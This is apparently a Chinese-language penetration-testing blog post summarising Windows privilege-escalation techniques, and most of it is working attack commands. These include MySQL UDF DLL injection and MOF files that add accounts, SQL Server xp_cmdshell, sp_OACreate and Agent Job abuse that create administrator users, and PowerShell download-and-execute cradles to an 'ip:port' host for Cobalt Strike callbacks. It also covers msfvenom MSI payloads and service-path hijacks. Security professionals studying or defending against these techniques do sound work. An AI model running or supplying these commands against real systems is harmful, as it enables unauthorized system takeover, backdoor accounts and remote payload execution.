Windows提權總結(1)——數據庫與系統漏洞
Windows提權總結(1)——數據庫與系統漏洞
在內網滲透中,由于系統對服務的權限設置,攻擊者不一定能通過外網服務直接獲取系統的最高權限,假如我們拿到的只是普通權限,在后續進行橫向移動的行動中會比較艱難,所以我們需要通過一定手段讓自己的權限提升為系統最高權限,進一步擴大攻擊效果。Windows系統提權常見手段有內核漏洞提權、數據庫提權、繞過UAC提權等等。本文針對Windows常見的提權方法進行總結,文章不足之處還請各位指正。
0x01 內核漏洞提權
Github上windows系統溢出漏洞提權的匯總:
https://github.com/SecWiki/windows-kernel-exploits
內核漏洞檢測工具——Windows-Exploit-Suggester
其主要功能是通過比對systeminfo生成的文件,比對KB編號,從而發現系統是否存在未修復漏洞。
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
使用:
更新數據庫
python2 ./windows-exploit-suggester.py --update
安裝依賴 xlrd
python2 -m pip install xlrd --upgrade
這里要注意,最近 xlrd 更新到了2.0.1版本,只支持.xls文件,與我們生成的數據庫xlsx文件有沖突。
所以安裝舊版 xlrd:
python2 -m pip uninstall xlrd python2 -m pip install xlrd==1.2.0
將利用的Windows機的SystemInfo打印到1.txt,執行以下命令
python2 ./windows-exploit-suggester.py --database ./2021-12-09-mssb.xls --systeminfo ./1.txt

利用給出的鏈接下載POC并提權
0x02 數據庫提權
2.1 MYSQL提權
2.1.1 UDF提權
UDF (user defined function),即用戶自定義函數。通過添加類似于命令執行的新函數,執行任意命令
提權條件:
- 有mysql的root權限以及secure_file_priv的值為空
- mysql5.1以上有寫lib/plugin目錄權限
提權原理:利用了root 高權限,創建帶有調用cmd的函數的udf.dll動態鏈接庫
Step1:查看 secure_file_priv 的值
show global variables like 'secure%';
如果 secure_file_priv的值為NULL,則無法導入文件,也就無法提權。

secure_file_priv 的值不能通過set改變,需要在mysql配置文件my.ini中添加/修改
secure_file_priv=''
如果 secure_file_priv沒有具體的值,則可以寫入導出文件。

導入/導出成功
Step2:查看plugin的值
select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
當plugin值為 mysql_native_password 時可通過賬戶連接提權

Step3:查看系統架構以及plugin目錄
show variables like '%compile%'; #查看主機版本及架構 show variables like 'plugin%'; #查看 plugin 目錄
64位
E:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\

看架構的原因是要確定 udf 用64位還是32位的
MSF的udf :
cd /usr/share/metasploit-framework/data/exploits/mysql/

將對應的dll下載
Step4:將dll文件寫入plugin目錄,并且創建函數(如果沒有"./mysql/lib/plugin/"這個目錄,需要自行創建)
將整個DLL文件以十六進制編碼后寫入磁盤。
select 'It is dll' into dumpfile 'E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib::$INDEX_ALLOCATION';
select 'It is dll' into dumpfile 'E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin::$INDEX_ALLOCATION';(寫目錄,其實大部分時候是沒有寫權限的)
select hex(load_file('E:\\files\\udf\\udf64.dll')) into dumpfile '.\udf.hex';
select [十六進制值] into dumpfile "E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf64.dll";
創建命令執行函數
create function sys_exec returns int soname 'udf64.dll'; create function sys_eval returns int soname 'udf64.dll'; create function sys_get returns int soname 'udf64.dll';
結果如下

添加管理員組用戶

我們也可以直接傳UDF木馬

連接數據庫后,可以快速提權

2.1.2 MOF提權
提權條件:
- 操作系統版本低于 win2008
- 有mysql的root權限以及secure_file_priv的值為空
提權原理:在windows平臺下,c:/windows/system32/wbem/mof/nullevt.mof 這個文件會每間隔一段時間(很短暫)就會以system權限執行一次,所以,只要我們將我們先要做的事通過代碼存儲到這個mof文件中,就可以實現權限提升。
啟動項提權:將后面腳本上傳到系統啟動目錄,當服務器重啟就會自動執行該腳本,從而獲取系統權限。
test.mof文件代碼如下:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")WSH.run(\"net.exe user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
此代碼的含義是添加一條命令去執行,在admin用戶組添加admin用戶
執行:
select load_file(“C:/test.mof”) into dumpfile “c:/windows/system32/wbem/mof/nullevt.mof”
成功執行

2.1.3 啟動項提權
提權條件:
- 操作系統版本低于 win2008
- 有mysql的root權限以及secure_file_priv的值為空
提權原理:將腳本文件添加到系統啟動項目錄命令執行
將代碼保存保存成 add_user.bat文件
@echo net user dodo dodo /add
導入至系統啟動項目錄
select load_file(’C:add_user.bat’) into dumpfile ‘該系統的啟動項目錄’;
2.2 SQL Server提權
提權原理:
SQL Server的存儲過程是一個可編程函數,它為數據庫提供了強大的功能,但在相應的權限下,攻擊者可以利用不同的存儲過程執行不同的高級功能,如:創建數據庫用戶、枚舉文件目錄、執行任意系統命令等。
存儲過程分為系統存儲過程、擴展存儲過程、用戶自定義的存儲過程:
- 系統存儲過程主要存儲在
master數據庫中,以 "sp_" 為前綴,在任何數據庫中都可以調用,在調用的時候不必在存儲過程前加上數據庫名; - 擴展存儲過程則是對 DLL 函數的調用,主要是用于客戶端與服務器端或客戶端之間進行通信的,以 "xp_" 為前綴,使用方法與系統存儲過程類似;
- 用戶定義的存儲過程是 SQL Server 的使用者編寫的存儲過程;
查看數據庫中是否有對應的存儲過程:
select count(*) from master.dbo.sysobjects where xtype='x' and name='sp_oacreate';
若返回結果為1,則說明已開啟
2.2.1 XP_CMDSHELL提權
xp_cmdshell就是其中一個擴展存儲過程
提權條件:
- sql server是system權限
開啟xp_cmdshell
EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE; EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;
關閉xp_cmdshell只需把 xp_cmdshell的值設為0即可
EXEC master..sp_configure 'xp_cmdshell', 0;RECONFIGURE;
執行命令提權
Exec master.dbo.xp_cmdshell 'whoami'; Exec master.dbo.xp_cmdshell "net user 0xL4k1d 0xL4k1d /add"; Exec master.dbo.xp_cmdshell "net localgroup administrators 0xL4k1d /add";
2.2.2 SP_OACREATE提權
在xp_cmdshell被刪除或者出錯情況下,可以充分利用SP_OACreate進行提權
提權條件:
- sql server是system權限
開啟SP_OACREATE
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0;
執行系統命令CS上線
執行時無回顯
DECLARE@shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD@shell,'run',null, '%systemroot%\system32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://ip:port/a''))"'--
2.2.3 沙盒提權
提權條件:
- sql server是system權限
這種提權是利用access的沙盒機制,關閉沙盒之后執行代碼。
關閉沙盒模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
“沙盒模式SandBoxMode參數含義(默認是2) 0:在任何所有者中禁止啟用安全模式 1 :為僅在允許范圍內 2 :必須在access模式下 3:完全開啟
執行命令提權
select * from OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb',
'select shell("net user 0xL4k1d 0xL4k1d /add&net localgroup administrators 0xL4k1d /add")');
注:在SQL Server 2005中默認禁用Ad Hoc Distributed,不開啟執行命令會報錯。
Exec sp_configure 'show advanced options',1; RECONFIGURE; Exec sp_configure 'Ad Hoc Distributed Queries',1; RECONFIGURE;
2.2.4 AGENT JOB提權
提權條件:
- sql server是system權限
提權原理:
創建一個任務x,并執行命令(無回顯),結果寫到一個文檔中
首先需要啟動 SQL Server AGENT 服務
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
創建任務并執行命令
use msdb exec dbo.sp_delete_job null,'x' exec sp_add_job 'x' exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user 0xL4k1d 0xL4k1d /add &net localgroup administrators 0xL4k1d /add>c:/q.txt"' exec dbo.sp_add_jobserver null,'x',@@servername exec dbo.sp_start_job 'x';
CS上線
use msdb;
exec dbo.sp_add_job @job_name = N'test_powershell_job1' ;
exec sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://ip:port/a''))"', @retry_attempts = 1, @retry_interval = 5 ;
exec dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
exec dbo.sp_start_job N'test_powershell_job1';
0x03 系統權限配置錯誤提權
系統權限配置錯誤,導致低權限用戶對高權限運行的文件擁有寫入權限,那么低權限用戶就可以替換成惡意后門文件,獲取系統權限。
3.1 系統服務權限配置錯誤
一般在啟動項、計劃任務中會伴隨著一些高權服務,若某些服務存在一些漏洞,那么就能夠借此服務進行提權和權維
如果有可以完全控制的服務,我們可以將該服務的BINARY_PATH_NAME修改成任何命令或者后門進行提權

以下工具可以自動化檢測利用:
- Powershell中的PowerUp腳本
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
- MSF的service_permissions(需要普通session)
use exploit/windows/local/service_permissions
3.2 計劃任務提權
如果高權限計劃任務的目錄具有寫權限,就可以把目標程序替換成我們的惡意程序進行提權
查詢計劃任務
schtasks /query /fo LIST /v
查看權限配置
accesschk.exe -dqv "D:\test" -accepteula
時間一到自動執行,就能高權限上線了
3.2 可信任服務路徑漏洞
如果一個服務的可執行文件的路徑沒有被雙引號引起來且包含空格,那么這個服務就是有漏洞的
假設服務路徑是:
C:\Program Files(x86)\Common Files\CloudMusic\CloudMusic\cloudmusic.exe
那他就是有漏洞的
由于沒有雙引號的包裹,Windows會認為C:\Program空格后面的東西都是他的參數
我們利用的話就可以生成一個后門Program.exe放在C:\下,等下次該服務啟動時后門就會被執行
搜集路徑漏洞服務
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

查看是否為自啟動
sc qc [服務名稱]

MSF攻擊模塊(需要session)
#msf檢測攻擊模塊 use exploit/windows/local/unquoted_service_path #正常接收到會話后,不久就會自動斷開連接,需要開啟命令自動遷移進程 set AutoRunScript migrate -f
3.3 不安全的注冊表權限配置
這個可以配合上一個漏洞,如果低權限用戶對程序路徑所對應的鍵值有寫權限,將路徑簡直寫成沒有被雙引號引起來且包含空格的路徑,那么接下來就可以參照上面的方法提權
# 存儲Windows服務有關的信息 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services # 服務對應的程序路徑存儲 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服務名\ImagePath
3.4 AlwaysInstallElevated
適用windows 7/8、03/08、12/16
AlwaysInstallElevated是一個策略設置項。如果開啟,則允許低權限用戶以System權限運行安裝文件,通過安裝惡意的MSI(不是那種捆綁的MSI,是將腳本嵌套在里面的MSI)文件進行提權
在注冊表中識別
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
reg query命令查詢是否存在漏洞
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果沒有漏洞會顯示
錯誤: 系統找不到指定的注冊表項或值。
如果存在漏洞則會顯示
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer AlwaysInstallElevated REG_DWORD 0x1
生成惡意MSI
msfvenom -p windows/exec CMD=cmd.exe -f msi -o cmd.msi
安裝cmd.msi
msiexec /quiet /qn /i C:\cmd.msi
“/quiet 安裝過程中禁止向用戶發送消息 /qn 不使用GUI
MSF攻擊模塊(需要普通Session)
exploit/windows/local/always_install_elevated
3.5 at本地命令提權
適用Windows2000/2003、XP
at 命令默認SYSTEM權限執行命令
at 11:00am /interactive cmd.exe

得到這個system的cmd,然后kill掉explore進程,再使用任務管理器新建explore進程,將會得到一個system的桌面環境

3.6 sc本地命令提權
適用windows 7/8、03/08、12/16
SC 命令是 Windows 系統中功能強大的 DOS 命令, SC 命令能與“服務控制器”和已安裝設備進行通訊。SC 是用于與服務控制管理器和服務進行通信的命令行程序。
創建任務systemcmd
sc Create systemcmd binPath= "cmd /K start" type= own type= interact
開啟任務
sc start systemcmd
就會拿到一個system的cmd
然后和at提權的后續做法相同,此時的任務管理器是system權限,然后kill掉explore 進程,再使用任務管理器新建explore進程,將會得到一個system的桌面環境